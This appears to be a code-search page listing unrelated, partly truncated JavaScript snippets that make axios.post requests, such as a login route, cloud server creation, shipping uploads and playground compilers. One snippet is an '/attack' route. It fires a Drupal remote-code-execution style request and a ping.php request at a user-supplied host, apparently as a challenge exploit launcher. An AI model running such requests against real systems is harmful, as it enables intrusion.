Secure your code as it's written. Use Snyk Code to scan source code in minutes - no build needed - and fix issues immediately.
app.post("/login", async (req, res, next) => {
try {
// client uses basic-auth
const auth = req.get('authorization');
const [username, password] = Buffer.from(auth.replace(/^\w+\s/, ''), 'base64').toString('utf8').split(':');
const { data: user } = await axios.post(endpoints.loginUrl, {
username,
password,
});
helpers.setAuthenticated(req, res, user.id)
.status(200)
.send('OK');
} catch (e) {
res.status(401).end();
}
});
const spawnServer = size => {
return axios.post('https://api.digitalocean.com/v2/droplets', {
size,
name: 'video-compression-tester',
region: 'nyc3',
image: 'ubuntu-18-04-x64',
ssh_keys: ['26:e4:37:18:61:e9:29:76:20:68:e1:7f:eb:49:07:2e'],
user_data: cloudInit,
tags: ['all'],
});
};
console.log('\nFAILED: Find Sagawa document by id: ', sagawaId);
Transaction
.handleRefund({ sagawaId, transactionId, userId })
.then(() => {
console.log('\nSUCCEEDED: Sagawa.uploadOrder >>> Transaction.handleRefund.');
resolve({ verified: false, sagawaId });
})
.catch((error) => {
console.log('\nFAILED: Sagawa.uploadOrder >>> Transaction.handleRefund: ', error);
resolve({ verified: false, sagawaId });
});
} else {
console.log('\nSUCCEEDED: Find Sagawa document by id: ', sagawaDoc._id);
console.log('\nSending upload to Sagawa...\n');
return axios.post(
'http://asp4.cj-soft.co.jp/SWebServiceComm/services/CommService/uploadData',
`
${xmlOut('<data>')}
${xmlOut(GenerateAddressXml(sagawaDoc))}
${xmlOut(GenerateItemsXml(sagawaDoc))}
${xmlOut('</data>')}
`,
{
headers: {
const res = JSON.parse(window.ocaml.compile(ocamlCode))
if (res.js_error_msg) return res.js_error_msg
return wrapInExports(res.js_code)
} catch (err) {
console.log(err)
return `${err.message}${
err.location ? `\n${JSON.stringify(err.location, null, 2)}` : ''
}`
}
} else if (transformer === 'coffeescript-2') {
const esCode = window.CoffeeScript.compile(code)
return window.Babel.transform(esCode, {
presets: [...defaultPresets, 'react']
}).code
} else if (transformer === 'rust') {
const { data } = await axios.post('https://play.rust-lang.org/evaluate.json', {
code,
optimize: '0',
version: 'beta'
})
if (data.error) {
return data.error.trim()
}
return `console.log(${JSON.stringify(data.result.trim())})`
}
throw new Error(`Unknow transformer: ${transformer}`)
}
app.post('/attack',(req, res) => {
const attck = req.body.host;
const codeSalt = req.body.salt;
const challenge = req.body.radio;
console.log('Host: '+ attck);
console.log('Salt ' + codeSalt);
console.log('Challenge: '+ challenge);
var hash = crypto.createHash('sha256').update(codeSalt).digest('base64');
console.log('Hash ' + hash);
if(challenge == "1") {
axios.post(
'http://' + attck + ':8080/user/register?element_parents=account/mail/#value&ajax_form=1&_wrapper_format=drupal_ajax',
dataCh1 + hash,
headersCh
).then(function (response) {
//console.log('Response:' + response);
}).catch(function (error) {
// console.log(error);
});
} else if (challenge == "2"){
axios.post(
'http://' + attck + ':8888/ping.php',
dataCh22 + hash,
headersCh
).then(function (response) {
// console.log(response);
createTag(name) {
return Axios.post('/api/tags', {name: name});
},
getAllTags() {
addCol = async () => {
const { addColName: name, addColDesc: desc } = this.state;
const project_id = this.props.match.params.id
const res = await axios.post('/api/col/add_col', { name, desc, project_id })
if (!res.data.errcode) {
message.success('ๆทปๅ ้ๅๆๅ');
await this.props.fetchInterfaceColList(project_id);
} else {
message.error(res.data.errmsg);
}
}
postActionResult(): Promise> {
return Axios.post(this.baseUri + 'api/SuperDemo/ActionResult', null, { responseType: 'text' }).then(d => d.data as AxiosResponse);
}
export function changeMemberEmailNotice(param) {
return {
type: CHANGE_MEMBER_EMAIL_NOTICE,
payload: axios.post('/api/project/change_member_email_notice', param)
};
}
export const addArticle = params => { return axios.post(`${base}/articles`, params); };